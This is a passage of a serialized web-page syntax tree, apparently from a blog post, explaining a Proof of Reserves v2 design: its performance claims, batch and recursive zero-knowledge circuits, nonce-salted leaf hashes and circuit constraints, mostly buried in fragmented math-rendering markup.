PoRv2 key points?",{"type":23,"tag":4890,"props":92287,"children":92288},{},[92289,92299,92317,92327,92358],{"type":23,"tag":4894,"props":92290,"children":92291},{},[92292,92297],{"type":23,"tag":2532,"props":92293,"children":92294},{},[92295],{"type":28,"value":92296},"Transparency",{"type":28,"value":92298},": It is possible for the exchange to safely disclose the entire Merkle tree so users can verify it without the need for an external auditing company. Also, the code allows asset price commitments and verifications.",{"type":23,"tag":4894,"props":92300,"children":92301},{},[92302,92307,92309,92316],{"type":23,"tag":2532,"props":92303,"children":92304},{},[92305],{"type":28,"value":92306},"Time-efficiency",{"type":28,"value":92308},": We were able to reduce the amount of time to prove by more than 100 times from our previous version by generating proofs for 750,000 users within 8 minutes using a Mac M3 Pro. ",{"type":23,"tag":31,"props":92310,"children":92313},{"href":92311,"rel":92312},"https://github.com/otter-sec/por_v2?tab=readme-ov-file#benchmark",[35],[92314],{"type":28,"value":92315},"Check our benchmark",{"type":28,"value":720},{"type":23,"tag":4894,"props":92318,"children":92319},{},[92320,92325],{"type":23,"tag":2532,"props":92321,"children":92322},{},[92323],{"type":28,"value":92324},"Memory-efficiency",{"type":28,"value":92326},": We also were able to reduce the amount of RAM needed to prove the liabilities of millions of users. Now, we are able to use machines with 16GB.",{"type":23,"tag":4894,"props":92328,"children":92329},{},[92330,92335,92337,92342,92344,92349,92351,92356],{"type":23,"tag":2532,"props":92331,"children":92332},{},[92333],{"type":28,"value":92334},"Small-proofs",{"type":28,"value":92336},": We were able to reduce the final proof to less than ",{"type":23,"tag":2532,"props":92338,"children":92339},{},[92340],{"type":28,"value":92341},"500KB",{"type":28,"value":92343}," and each inclusion proof to ",{"type":23,"tag":2532,"props":92345,"children":92346},{},[92347],{"type":28,"value":92348},"~52KB",{"type":28,"value":92350},". The only big file that we need to store is the Merkle tree, which doesn't consume more than ",{"type":23,"tag":2532,"props":92352,"children":92353},{},[92354],{"type":28,"value":92355},"200MB",{"type":28,"value":92357}," if the PoR parameters are finely adjusted. Additionally, instead of storing each inclusion proof in a static file, we provide an efficient method to generate inclusion proofs on demand, eliminating the need for the exchange to store millions of files and conserve disk space and resources.",{"type":23,"tag":4894,"props":92359,"children":92360},{},[92361,92366],{"type":23,"tag":2532,"props":92362,"children":92363},{},[92364],{"type":28,"value":92365},"Privacy",{"type":28,"value":92367},": We use many cryptographic mechanisms to ensure that the user balances and other private information are kept safe and secret.",{"type":23,"tag":61,"props":92369,"children":92371},{"id":92370},"zk-circuits",[92372],{"type":28,"value":92373},"ZK Circuits",{"type":23,"tag":24,"props":92375,"children":92376},{},[92377],{"type":28,"value":92378},"We use two different ZK circuits to generate the final proof:",{"type":23,"tag":4890,"props":92380,"children":92381},{},[92382,92387],{"type":23,"tag":4894,"props":92383,"children":92384},{},[92385],{"type":28,"value":92386},"Batch circuit",{"type":23,"tag":4894,"props":92388,"children":92389},{},[92390],{"type":28,"value":92391},"Recursive circuit",{"type":23,"tag":24,"props":92393,"children":92394},{},[92395],{"type":28,"value":92396},"With those two circuits, we can generate the proofs recursive tree:",{"type":23,"tag":24,"props":92398,"children":92399},{},[92400],{"type":23,"tag":1116,"props":92401,"children":92403},{"alt":50084,"src":92402},"/posts/por/batch-circuit.png",[],{"type":23,"tag":78,"props":92405,"children":92406},{},[92407],{"type":23,"tag":24,"props":92408,"children":92409},{},[92410,92412,92418,92420,92426],{"type":28,"value":92411},"Note: We are using 512 as ",{"type":23,"tag":92,"props":92413,"children":92415},{"className":92414},[],[92416],{"type":28,"value":92417},"BATCH_SIZE",{"type":28,"value":92419}," and 8 as ",{"type":23,"tag":92,"props":92421,"children":92423},{"className":92422},[],[92424],{"type":28,"value":92425},"RECURSIVE_SIZE",{"type":28,"value":92427}," which indicates how many children each circuit has. This is easily adjustable in the code, and the optimal configuration will depend on the amount of accounts being proved in the PoR.",{"type":23,"tag":78,"props":92429,"children":92430},{},[92431],{"type":23,"tag":24,"props":92432,"children":92433},{},[92434],{"type":28,"value":92435},"Note 2: We add empty proofs as padding to chunks that don't have the correct length.",{"type":23,"tag":24,"props":92437,"children":92438},{},[92439],{"type":28,"value":92440},"Each non-leaf node in this tree is a ZK proof, which is generated using the related circuit; each circuit also generates the Merkle tree hash of each node, which is included in the Merkle tree.",{"type":23,"tag":9072,"props":92442,"children":92444},{"id":92443},"leaf-nodes",[92445],{"type":28,"value":92446},"Leaf Nodes",{"type":23,"tag":24,"props":92448,"children":92449},{},[92450],{"type":28,"value":92451},"The leaf nodes are the hashes of the account information. It is calculated in this way:",{"type":23,"tag":24,"props":92453,"children":92454},{},[92455],{"type":23,"tag":92,"props":92456,"children":92458},{"className":92457},[1183,1184],[92459],{"type":23,"tag":134,"props":92460,"children":92462},{"className":92461},[1189],[92463],{"type":23,"tag":134,"props":92464,"children":92466},{"className":92465,"ariaHidden":1195},[1194],[92467,92494],{"type":23,"tag":134,"props":92468,"children":92470},{"className":92469},[1200],[92471,92476,92481,92485,92490],{"type":23,"tag":134,"props":92472,"children":92475},{"className":92473,"style":92474},[1205],"height:0.6944em;",[],{"type":23,"tag":134,"props":92477,"children":92479},{"className":92478},[1211,21066],[92480],{"type":28,"value":83857},{"type":23,"tag":134,"props":92482,"children":92484},{"className":92483,"style":1390},[1292],[],{"type":23,"tag":134,"props":92486,"children":92488},{"className":92487},[1395],[92489],{"type":28,"value":257},{"type":23,"tag":134,"props":92491,"children":92493},{"className":92492,"style":1390},[1292],[],{"type":23,"tag":134,"props":92495,"children":92497},{"className":92496},[1200],[92498,92503,92508,92514,92519,92524,92530,92535,92540,92545,92551,92556,92562,92568,92575,92581,92587,92647,92652,92658,92663,92668,92673,92678,92683,92688,92693,92698,92703,92760,92765,92770,92775,92780,92785,92790,92797,92802,92808,92813,92819,92825,92830,92835,92840,92845,92850,92855,92860,92865,92870,92875,92880,92885,92890,92895],{"type":23,"tag":134,"props":92499,"children":92502},{"className":92500,"style":92501},[1205],"height:1.06em;vertical-align:-0.31em;",[],{"type":23,"tag":134,"props":92504,"children":92506},{"className":92505,"style":21067},[1211,21066],[92507],{"type":28,"value":21070},{"type":23,"tag":134,"props":92509,"children":92511},{"className":92510},[1211,21066],[92512],{"type":28,"value":92513},"ose",{"type":23,"tag":134,"props":92515,"children":92517},{"className":92516},[1211,21066],[92518],{"type":28,"value":929},{"type":23,"tag":134,"props":92520,"children":92522},{"className":92521},[1211,21066],[92523],{"type":28,"value":70074},{"type":23,"tag":134,"props":92525,"children":92527},{"className":92526},[1211,21066],[92528],{"type":28,"value":92529},"o",{"type":23,"tag":134,"props":92531,"children":92533},{"className":92532},[1211,21066],[92534],{"type":28,"value":55910},{"type":23,"tag":134,"props":92536,"children":92538},{"className":92537},[21195],[92539],{"type":28,"value":272},{"type":23,"tag":134,"props":92541,"children":92543},{"className":92542},[1211,21066],[92544],{"type":28,"value":31},{"type":23,"tag":134,"props":92546,"children":92548},{"className":92547},[1211,21066],[92549],{"type":28,"value":92550},"sse",{"type":23,"tag":134,"props":92552,"children":92554},{"className":92553},[1211,21066],[92555],{"type":28,"value":21208},{"type":23,"tag":134,"props":92557,"children":92560},{"className":92558,"style":92559},[1211],"margin-right:0.02778em;",[92561],{"type":28,"value":247},{"type":23,"tag":134,"props":92563,"children":92565},{"className":92564},[1211,21066],[92566],{"type":28,"value":92567},"ba",{"type":23,"tag":134,"props":92569,"children":92572},{"className":92570,"style":92571},[1211,21066],"margin-right:0.01968em;",[92573],{"type":28,"value":92574},"l",{"type":23,"tag":134,"props":92576,"children":92578},{"className":92577},[1211,21066],[92579],{"type":28,"value":92580},"an",{"type":23,"tag":134,"props":92582,"children":92584},{"className":92583},[1211,21066],[92585],{"type":28,"value":92586},"ce",{"type":23,"tag":134,"props":92588,"children":92590},{"className":92589},[1211],[92591,92596],{"type":23,"tag":134,"props":92592,"children":92594},{"className":92593},[1211,21066],[92595],{"type":28,"value":10117},{"type":23,"tag":134,"props":92597,"children":92599},{"className":92598},[1228],[92600],{"type":23,"tag":134,"props":92601,"children":92603},{"className":92602},[1233,21120],[92604,92635],{"type":23,"tag":134,"props":92605,"children":92607},{"className":92606},[1238],[92608,92630],{"type":23,"tag":134,"props":92609,"children":92612},{"className":92610,"style":92611},[1243],"height:0.3011em;",[92613],{"type":23,"tag":134,"props":92614,"children":92616},{"style":92615},"top:-2.55em;margin-left:0em;margin-right:0.05em;",[92617,92621],{"type":23,"tag":134,"props":92618,"children":92620},{"className":92619,"style":1253},[1252],[],{"type":23,"tag":134,"props":92622,"children":92624},{"className":92623},[1258,1259,1260,1261],[92625],{"type":23,"tag":134,"props":92626,"children":92628},{"className":92627},[1211,1261],[92629],{"type":28,"value":1224},{"type":23,"tag":134,"props":92631,"children":92633},{"className":92632},[21223],[92634],{"type":28,"value":21226},{"type":23,"tag":134,"props":92636,"children":92638},{"className":92637},[1238],[92639],{"type":23,"tag":134,"props":92640,"children":92643},{"className":92641,"style":92642},[1243],"height:0.15em;",[92644],{"type":23,"tag":134,"props":92645,"children":92646},{},[],{"type":23,"tag":134,"props":92648,"children":92650},{"className":92649},[1292],[92651],{"type":28,"value":21167},{"type":23,"tag":134,"props":92653,"children":92655},{"className":92654},[1211],[92656],{"type":28,"value":92657},"∣∣",{"type":23,"tag":134,"props":92659,"children":92661},{"className":92660},[1292],[92662],{"type":28,"value":21167},{"type":23,"tag":134,"props":92664,"children":92666},{"className":92665},[1211,21066],[92667],{"type":28,"value":31},{"type":23,"tag":134,"props":92669,"children":92671},{"className":92670},[1211,21066],[92672],{"type":28,"value":92550},{"type":23,"tag":134,"props":92674,"children":92676},{"className":92675},[1211,21066],[92677],{"type":28,"value":21208},{"type":23,"tag":134,"props":92679,"children":92681},{"className":92680,"style":92559},[1211],[92682],{"type":28,"value":247},{"type":23,"tag":134,"props":92684,"children":92686},{"className":92685},[1211,21066],[92687],{"type":28,"value":92567},{"type":23,"tag":134,"props":92689,"children":92691},{"className":92690,"style":92571},[1211,21066],[92692],{"type":28,"value":92574},{"type":23,"tag":134,"props":92694,"children":92696},{"className":92695},[1211,21066],[92697],{"type":28,"value":92580},{"type":23,"tag":134,"props":92699,"children":92701},{"className":92700},[1211,21066],[92702],{"type":28,"value":92586},{"type":23,"tag":134,"props":92704,"children":92706},{"className":92705},[1211],[92707,92712],{"type":23,"tag":134,"props":92708,"children":92710},{"className":92709},[1211,21066],[92711],{"type":28,"value":10117},{"type":23,"tag":134,"props":92713,"children":92715},{"className":92714},[1228],[92716],{"type":23,"tag":134,"props":92717,"children":92719},{"className":92718},[1233,21120],[92720,92749],{"type":23,"tag":134,"props":92721,"children":92723},{"className":92722},[1238],[92724,92744],{"type":23,"tag":134,"props":92725,"children":92727},{"className":92726,"style":92611},[1243],[92728],{"type":23,"tag":134,"props":92729,"children":92730},{"style":92615},[92731,92735],{"type":23,"tag":134,"props":92732,"children":92734},{"className":92733,"style":1253},[1252],[],{"type":23,"tag":134,"props":92736,"children":92738},{"className":92737},[1258,1259,1260,1261],[92739],{"type":23,"tag":134,"props":92740,"children":92742},{"className":92741},[1211,1261],[92743],{"type":28,"value":1214},{"type":23,"tag":134,"props":92745,"children":92747},{"className":92746},[21223],[92748],{"type":28,"value":21226},{"type":23,"tag":134,"props":92750,"children":92752},{"className":92751},[1238],[92753],{"type":23,"tag":134,"props":92754,"children":92756},{"className":92755,"style":92642},[1243],[92757],{"type":23,"tag":134,"props":92758,"children":92759},{},[],{"type":23,"tag":134,"props":92761,"children":92763},{"className":92762},[1292],[92764],{"type":28,"value":21167},{"type":23,"tag":134,"props":92766,"children":92768},{"className":92767},[1211],[92769],{"type":28,"value":9054},{"type":23,"tag":134,"props":92771,"children":92773},{"className":92772},[1292],[92774],{"type":28,"value":21167},{"type":23,"tag":134,"props":92776,"children":92778},{"className":92777},[1211],[92779],{"type":28,"value":92657},{"type":23,"tag":134,"props":92781,"children":92783},{"className":92782},[1292],[92784],{"type":28,"value":21167},{"type":23,"tag":134,"props":92786,"children":92788},{"className":92787,"style":21525},[1211,21066],[92789],{"type":28,"value":21528},{"type":23,"tag":134,"props":92791,"children":92794},{"className":92792,"style":92793},[1211,21066],"margin-right:0.08125em;",[92795],{"type":28,"value":92796},"H",{"type":23,"tag":134,"props":92798,"children":92800},{"className":92799},[1211,21066],[92801],{"type":28,"value":76279},{"type":23,"tag":134,"props":92803,"children":92805},{"className":92804},[1211],[92806],{"type":28,"value":92807},"256",{"type":23,"tag":134,"props":92809,"children":92811},{"className":92810},[21195],[92812],{"type":28,"value":272},{"type":23,"tag":134,"props":92814,"children":92816},{"className":92815},[1211,21066],[92817],{"type":28,"value":92818},"u",{"type":23,"tag":134,"props":92820,"children":92822},{"className":92821,"style":92559},[1211,21066],[92823],{"type":28,"value":92824},"ser",{"type":23,"tag":134,"props":92826,"children":92828},{"className":92827,"style":92559},[1211],[92829],{"type":28,"value":247},{"type":23,"tag":134,"props":92831,"children":92833},{"className":92832},[1211,21066],[92834],{"type":28,"value":929},{"type":23,"tag":134,"props":92836,"children":92838},{"className":92837},[1211,21066],[92839],{"type":28,"value":70074},{"type":23,"tag":134,"props":92841,"children":92843},{"className":92842},[21217],[92844],{"type":28,"value":296},{"type":23,"tag":134,"props":92846,"children":92848},{"className":92847},[1292],[92849],{"type":28,"value":21167},{"type":23,"tag":134,"props":92851,"children":92853},{"className":92852},[1211],[92854],{"type":28,"value":92657},{"type":23,"tag":134,"props":92856,"children":92858},{"className":92857},[1292],[92859],{"type":28,"value":21167},{"type":23,"tag":134,"props":92861,"children":92863},{"className":92862},[1211,21066],[92864],{"type":28,"value":92818},{"type":23,"tag":134,"props":92866,"children":92868},{"className":92867,"style":92559},[1211,21066],[92869],{"type":28,"value":92824},{"type":23,"tag":134,"props":92871,"children":92873},{"className":92872,"style":92559},[1211],[92874],{"type":28,"value":247},{"type":23,"tag":134,"props":92876,"children":92878},{"className":92877},[1211,21066],[92879],{"type":28,"value":55910},{"type":23,"tag":134,"props":92881,"children":92883},{"className":92882},[1211,21066],[92884],{"type":28,"value":92529},{"type":23,"tag":134,"props":92886,"children":92888},{"className":92887},[1211,21066],[92889],{"type":28,"value":55910},{"type":23,"tag":134,"props":92891,"children":92893},{"className":92892},[1211,21066],[92894],{"type":28,"value":92586},{"type":23,"tag":134,"props":92896,"children":92898},{"className":92897},[21217],[92899],{"type":28,"value":296},{"type":23,"tag":24,"props":92901,"children":92902},{},[92903,92905,92911],{"type":28,"value":92904},"In other words, all balances are concatenated with the hashed user ID (which can be a ",{"type":23,"tag":92,"props":92906,"children":92908},{"className":92907},[],[92909],{"type":28,"value":92910},"uuid",{"type":28,"value":92912},", a username or an incremental ID) and with a nonce. The nonce is a random number that serves as a security measure against attackers who could brute-force the hash to find out other users' balances. Since the Merkle tree is a public proof, we need to be careful against these types of data leaks.",{"type":23,"tag":9072,"props":92914,"children":92916},{"id":92915},"batch-circuit",[92917],{"type":28,"value":92918},"Batch Circuit",{"type":23,"tag":24,"props":92920,"children":92921},{},[92922],{"type":28,"value":92923},"The batch circuit is the first proven circuit in the PoR algorithm. It receives the account's information (grouped in 512) and generates the ZK proof with those constraints:",{"type":23,"tag":24,"props":92925,"children":92926},{},[92927],{"type":23,"tag":2532,"props":92928,"children":92929},{},[92930],{"type":28,"value":92931},"Public Inputs",{"type":23,"tag":16158,"props":92933,"children":92934},{},[92935,92940,92945],{"type":23,"tag":4894,"props":92936,"children":92937},{},[92938],{"type":28,"value":92939},"Asset prices in USD",{"type":23,"tag":4894,"props":92941,"children":92942},{},[92943],{"type":28,"value":92944},"Merkle tree hash",{"type":23,"tag":4894,"props":92946,"children":92947},{},[92948],{"type":28,"value":92949},"Summed asset balances",{"type":23,"tag":24,"props":92951,"children":92952},{},[92953],{"type":23,"tag":2532,"props":92954,"children":92955},{},[92956],{"type":28,"value":92957},"Private Inputs",{"type":23,"tag":16158,"props":92959,"children":92960},{},[92961,92966],{"type":23,"tag":4894,"props":92962,"children":92963},{},[92964],{"type":28,"value":92965},"Users balances",{"type":23,"tag":4894,"props":92967,"children":92968},{},[92969],{"type":28,"value":92970},"Merkle tree leaves hashes",{"type":23,"tag":24,"props":92972,"children":92973},{},[92974],{"type":23,"tag":2532,"props":92975,"children":92976},{},[92977],{"type":28,"value":92978},"Constraints",{"type":23,"tag":16158,"props":92980,"children":92981},{},[92982,93435,93603,93950,94348],{"type":23,"tag":4894,"props":92983,"children":92984},{},[92985],{"type":23,"tag":92,"props":92986,"children":92988},{"className":92987},[1183,1184],[92989],{"type":23,"tag":134,"props":92990,"children":92992},{"className":92991},[1189],[92993],{"type":23,"tag":134,"props":92994,"children":92996},{"className":92995,"ariaHidden":1195},[1194],[92997,93136,93340],{"type":23,"tag":134,"props":92998,"children":93000},{"className":92999},[1200],[93001,93006,93011,93017,93022,93027,93032,93037,93042,93049,93054,93059,93064,93123,93127,93132],{"type":23,"tag":134,"props":93002,"children":93005},{"className":93003,"style":93004},[1205],"height:0.9695em;vertical-align:-0.31em;",[],{"type":23,"tag":134,"props":93007,"children":93009},{"className":93008},[1211,21066],[93010],{"type":28,"value":31},{"type":23,"tag":134,"props":93012,"children":93014},{"className":93013},[1211,21066],[93015],{"type":28,"value":93016},"cco",{"type":23,"tag":134,"props":93018,"children":93020},{"className":93019},[1211,21066],[93021],{"type":28,"value":92818},{"type":23,"tag":134,"props":93023,"children":93025},{"className":93024},[1211,21066],[93026],{"type":28,"value":55910},{"type":23,"tag":134,"props":93028,"children":93030},{"className":93029},[1211,21066],[93031],{"type":28,"value":21208},{"type":23,"tag":134,"props":93033,"children":93035},{"className":93034,"style":92559},[1211],[93036],{"type":28,"value":247},{"type":23,"tag":134,"props":93038,"children":93040},{"className":93039},[1211,21066],[93041],{"type":28,"value":50960},{"type":23,"tag":134,"props":93043,"children":93046},{"className":93044,"style":93045},[1211,21066],"margin-right:0.03588em;",[93047],{"type":28,"value":93048},"q",{"type":23,"tag":134,"props":93050,"children":93052},{"className":93051},[1211,21066],[93053],{"type":28,"value":92818},{"type":23,"tag":134,"props":93055,"children":93057},{"className":93056},[1211,21066],[93058],{"type":28,"value":929},{"type":23,"tag":134,"props":93060,"children":93062},{"className":93061},[1211,21066],[93063],{"type":28,"value":21208},{"type":23,"tag":134,"props":93065,"children":93067},{"className":93066},[1211],[93068,93073],{"type":23,"tag":134,"props":93069,"children":93071},{"className":93070,"style":93045},[1211,21066],[93072],{"type":28,"value":282},{"type":23,"tag":134,"props":93074,"children":93076},{"className":93075},[1228],[93077],{"type":23,"tag":134,"props":93078,"children":93080},{"className":93079},[1233,21120],[93081,93112],{"type":23,"tag":134,"props":93082,"children":93084},{"className":93083},[1238],[93085,93107],{"type":23,"tag":134,"props":93086,"children":93089},{"className":93087,"style":93088},[1243],"height:0.3117em;",[93090],{"type":23,"tag":134,"props":93091,"children":93093},{"style":93092},"top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;",[93094,93098],{"type":23,"tag":134,"props":93095,"children":93097},{"className":93096,"style":1253},[1252],[],{"type":23,"tag":134,"props":93099,"children":93101},{"className":93100},[1258,1259,1260,1261],[93102],{"type":23,"tag":134,"props":93103,"children":93105},{"className":93104},[1211,21066,1261],[93106],{"type":28,"value":929},{"type":23,"tag":134,"props":93108,"children":93110},{"className":93109},[21223],[93111],{"type":28,"value":21226},{"type":23,"tag":134,"props":93113,"children":93115},{"className":93114},[1238],[93116],{"type":23,"tag":134,"props":93117,"children":93119},{"className":93118,"style":92642},[1243],[93120],{"type":23,"tag":134,"props":93121,"children":93122},{},[],{"type":23,"tag":134,"props":93124,"children":93126},{"className":93125,"style":1390},[1292],[],{"type":23,"tag":134,"props":93128,"children":93130},{"className":93129},[1395],[93131],{"type":28,"value":8035},{"type":23,"tag":134,"props":93133,"children":93135},{"className":93134,"style":1390},[1292],[],{"type":23,"tag":134,"props":93137,"children":93139},{"className":93138},[1200],[93140,93144,93150,93155,93160,93165,93170,93175,93180,93185,93190,93195,93200,93205,93210,93215,93220,93225,93282,93287,93292,93297,93302,93307,93312,93317,93322,93327,93331,93336],{"type":23,"tag":134,"props":93141,"children":93143},{"className":93142,"style":92501},[1205],[],{"type":23,"tag":134,"props":93145,"children":93147},{"className":93146},[1211],[93148],{"type":28,"value":93149},"Σ",{"type":23,"tag":134,"props":93151,"children":93153},{"className":93152},[1292],[93154],{"type":28,"value":21167},{"type":23,"tag":134,"props":93156,"children":93158},{"className":93157},[1211,21066],[93159],{"type":28,"value":31},{"type":23,"tag":134,"props":93161,"children":93163},{"className":93162},[1211,21066],[93164],{"type":28,"value":93016},{"type":23,"tag":134,"props":93166,"children":93168},{"className":93167},[1211,21066],[93169],{"type":28,"value":92818},{"type":23,"tag":134,"props":93171,"children":93173},{"className":93172},[1211,21066],[93174],{"type":28,"value":55910},{"type":23,"tag":134,"props":93176,"children":93178},{"className":93177},[1211,21066],[93179],{"type":28,"value":21208},{"type":23,"tag":134,"props":93181,"children":93183},{"className":93182,"style":92559},[1211],[93184],{"type":28,"value":247},{"type":23,"tag":134,"props":93186,"children":93188},{"className":93187},[1211,21066],[93189],{"type":28,"value":31},{"type":23,"tag":134,"props":93191,"children":93193},{"className":93192},[1211,21066],[93194],{"type":28,"value":92550},{"type":23,"tag":134,"props":93196,"children":93198},{"className":93197},[1211,21066],[93199],{"type":28,"value":21208},{"type":23,"tag":134,"props":93201,"children":93203},{"className":93202,"style":92559},[1211],[93204],{"type":28,"value":247},{"type":23,"tag":134,"props":93206,"children":93208},{"className":93207},[1211,21066],[93209],{"type":28,"value":92567},{"type":23,"tag":134,"props":93211,"children":93213},{"className":93212,"style":92571},[1211,21066],[93214],{"type":28,"value":92574},{"type":23,"tag":134,"props":93216,"children":93218},{"className":93217},[1211,21066],[93219],{"type":28,"value":92580},{"type":23,"tag":134,"props":93221,"children":93223},{"className":93222},[1211,21066],[93224],{"type":28,"value":92586},{"type":23,"tag":134,"props":93226,"children":93228},{"className":93227},[1211],[93229,93234],{"type":23,"tag":134,"props":93230,"children":93232},{"className":93231},[1211,21066],[93233],{"type":28,"value":10117},{"type":23,"tag":134,"props":93235,"children":93237},{"className":93236},[1228],[93238],{"type":23,"tag":134,"props":93239,"children":93241},{"className":93240},[1233,21120],[93242,93271],{"type":23,"tag":134,"props":93243,"children":93245},{"className":93244},[1238],[93246,93266],{"type":23,"tag":134,"props":93247,"children":93249},{"className":93248,"style":93088},[1243],[93250],{"type":23,"tag":134,"props":93251,"children":93252},{"style":92615},[93253,93257],{"type":23,"tag":134,"props":93254,"children":93256},{"className":93255,"style":1253},[1252],[],{"type":23,"tag":134,"props":93258,"children":93260},{"className":93259},[1258,1259,1260,1261],[93261],{"type":23,"tag":134,"props":93262,"children":93264},{"className":93263},[1211,21066,1261],[93265],{"type":28,"value":929},{"type":23,"tag":134,"props":93267,"children":93269},{"className":93268},[21223],[93270],{"type":28,"value":21226},{"type":23,"tag":134,"props":93272,"children":93274},{"className":93273},[1238],[93275],{"type":23,"tag":134,"props":93276,"children":93278},{"className":93277,"style":92642},[1243],[93279],{"type":23,"tag":134,"props":93280,"children":93281},{},[],{"type":23,"tag":134,"props":93283,"children":93285},{"className":93284},[21195],[93286],{"type":28,"value":924},{"type":23,"tag":134,"props":93288,"children":93290},{"className":93289},[1211,21066],[93291],{"type":28,"value":31},{"type":23,"tag":134,"props":93293,"children":93295},{"className":93294},[1211,21066],[93296],{"type":28,"value":92550},{"type":23,"tag":134,"props":93298,"children":93300},{"className":93299},[1211,21066],[93301],{"type":28,"value":21208},{"type":23,"tag":134,"props":93303,"children":93305},{"className":93304,"style":92559},[1211],[93306],{"type":28,"value":247},{"type":23,"tag":134,"props":93308,"children":93310},{"className":93309},[1211,21066],[93311],{"type":28,"value":55910},{"type":23,"tag":134,"props":93313,"children":93315},{"className":93314},[1211,21066],[93316],{"type":28,"value":92818},{"type":23,"tag":134,"props":93318,"children":93320},{"className":93319},[1211,21066],[93321],{"type":28,"value":50639},{"type":23,"tag":134,"props":93323,"children":93325},{"className":93324},[21217],[93326],{"type":28,"value":14880},{"type":23,"tag":134,"props":93328,"children":93330},{"className":93329,"style":1293},[1292],[],{"type":23,"tag":134,"props":93332,"children":93334},{"className":93333},[1298],[93335],{"type":28,"value":1301},{"type":23,"tag":134,"props":93337,"children":93339},{"className":93338,"style":1293},[1292],[],{"type":23,"tag":134,"props":93341,"children":93343},{"className":93342},[1200],[93344,93348,93353,93358,93363,93368,93373,93379,93384,93390,93395,93400,93405,93410,93415,93420,93425,93430],{"type":23,"tag":134,"props":93345,"children":93347},{"className":93346,"style":92501},[1205],[],{"type":23,"tag":134,"props":93349,"children":93351},{"className":93350},[1211,21066],[93352],{"type":28,"value":31},{"type":23,"tag":134,"props":93354,"children":93356},{"className":93355},[1211,21066],[93357],{"type":28,"value":92550},{"type":23,"tag":134,"props":93359,"children":93361},{"className":93360},[1211,21066],[93362],{"type":28,"value":21208},{"type":23,"tag":134,"props":93364,"children":93366},{"className":93365,"style":92559},[1211],[93367],{"type":28,"value":247},{"type":23,"tag":134,"props":93369,"children":93371},{"className":93370},[1211,21066],[93372],{"type":28,"value":24},{"type":23,"tag":134,"props":93374,"children":93376},{"className":93375,"style":92559},[1211,21066],[93377],{"type":28,"value":93378},"r",{"type":23,"tag":134,"props":93380,"children":93382},{"className":93381},[1211,21066],[93383],{"type":28,"value":929},{"type":23,"tag":134,"props":93385,"children":93387},{"className":93386},[1211,21066],[93388],{"type":28,"value":93389},"ces",{"type":23,"tag":134,"props":93391,"children":93393},{"className":93392},[21195],[93394],{"type":28,"value":924},{"type":23,"tag":134,"props":93396,"children":93398},{"className":93397},[1211,21066],[93399],{"type":28,"value":31},{"type":23,"tag":134,"props":93401,"children":93403},{"className":93402},[1211,21066],[93404],{"type":28,"value":92550},{"type":23,"tag":134,"props":93406,"children":93408},{"className":93407},[1211,21066],[93409],{"type":28,"value":21208},{"type":23,"tag":134,"props":93411,"children":93413},{"className":93412,"style":92559},[1211],[93414],{"type":28,"value":247},{"type":23,"tag":134,"props":93416,"children":93418},{"className":93417},[1211,21066],[93419],{"type":28,"value":55910},{"type":23,"tag":134,"props":93421,"children":93423},{"className":93422},[1211,21066],[93424],{"type":28,"value":92818},{"type":23,"tag":134,"props":93426,"children":93428},{"className":93427},[1211,21066],[93429],{"type":28,"value":50639},{"type":23,"tag":134,"props":93431,"children":93433},{"className":93432},[21217],[93434],{"type":28,"value":14880},{"type":23,"tag":4894,"props":93436,"children":93437},{},[93438,93597,93598],{"type":23,"tag":92,"props":93439,"children":93441},{"className":93440},[1183,1184],[93442],{"type":23,"tag":134,"props":93443,"children":93445},{"className":93444},[1189],[93446],{"type":23,"tag":134,"props":93447,"children":93449},{"className":93448,"ariaHidden":1195},[1194],[93450,93583],{"type":23,"tag":134,"props":93451,"children":93453},{"className":93452},[1200],[93454,93458,93463,93468,93473,93478,93483,93488,93493,93498,93503,93508,93513,93570,93574,93579],{"type":23,"tag":134,"props":93455,"children":93457},{"className":93456,"style":93004},[1205],[],{"type":23,"tag":134,"props":93459,"children":93461},{"className":93460},[1211,21066],[93462],{"type":28,"value":31},{"type":23,"tag":134,"props":93464,"children":93466},{"className":93465},[1211,21066],[93467],{"type":28,"value":93016},{"type":23,"tag":134,"props":93469,"children":93471},{"className":93470},[1211,21066],[93472],{"type":28,"value":92818},{"type":23,"tag":134,"props":93474,"children":93476},{"className":93475},[1211,21066],[93477],{"type":28,"value":55910},{"type":23,"tag":134,"props":93479,"children":93481},{"className":93480},[1211,21066],[93482],{"type":28,"value":21208},{"type":23,"tag":134,"props":93484,"children":93486},{"className":93485,"style":92559},[1211],[93487],{"type":28,"value":247},{"type":23,"tag":134,"props":93489,"children":93491},{"className":93490},[1211,21066],[93492],{"type":28,"value":50960},{"type":23,"tag":134,"props":93494,"children":93496},{"className":93495,"style":93045},[1211,21066],[93497],{"type":28,"value":93048},{"type":23,"tag":134,"props":93499,"children":93501},{"className":93500},[1211,21066],[93502],{"type":28,"value":92818},{"type":23,"tag":134,"props":93504,"children":93506},{"className":93505},[1211,21066],[93507],{"type":28,"value":929},{"type":23,"tag":134,"props":93509,"children":93511},{"className":93510},[1211,21066],[93512],{"type":28,"value":21208},{"type":23,"tag":134,"props":93514,"children":93516},{"className":93515},[1211],[93517,93522],{"type":23,"tag":134,"props":93518,"children":93520},{"className":93519,"style":93045},[1211,21066],[93521],{"type":28,"value":282},{"type":23,"tag":134,"props":93523,"children":93525},{"className":93524},[1228],[93526],{"type":23,"tag":134,"props":93527,"children":93529},{"className":93528},[1233,21120],[93530,93559],{"type":23,"tag":134,"props":93531,"children":93533},{"className":93532},[1238],[93534,93554],{"type":23,"tag":134,"props":93535,"children":93537},{"className":93536,"style":93088},[1243],[93538],{"type":23,"tag":134,"props":93539,"children":93540},{"style":93092},[93541,93545],{"type":23,"tag":134,"props":93542,"children":93544},{"className":93543,"style":1253},[1252],[],{"type":23,"tag":134,"props":93546,"children":93548},{"className":93547},[1258,1259,1260,1261],[93549],{"type":23,"tag":134,"props":93550,"children":93552},{"className":93551},[1211,21066,1261],[93553],{"type":28,"value":929},{"type":23,"tag":134,"props":93555,"children":93557},{"className":93556},[21223],[93558],{"type":28,"value":21226},{"type":23,"tag":134,"props":93560,"children":93562},{"className":93561},[1238],[93563],{"type":23,"tag":134,"props":93564,"children":93566},{"className":93565,"style":92642},[1243],[93567],{"type":23,"tag":134,"props":93568,"children":93569},{},[],{"type":23,"tag":134,"props":93571,"children":93573},{"className":93572,"style":1390},[1292],[],{"type":23,"tag":134,"props":93575,"children":93577},{"className":93576},[1395],[93578],{"type":28,"value":9408},{"type":23,"tag":134,"props":93580,"children":93582},{"className":93581,"style":1390},[1292],[],{"type":23,"tag":134,"props":93584,"children":93586},{"className":93585},[1200],[93587,93592],{"type":23,"tag":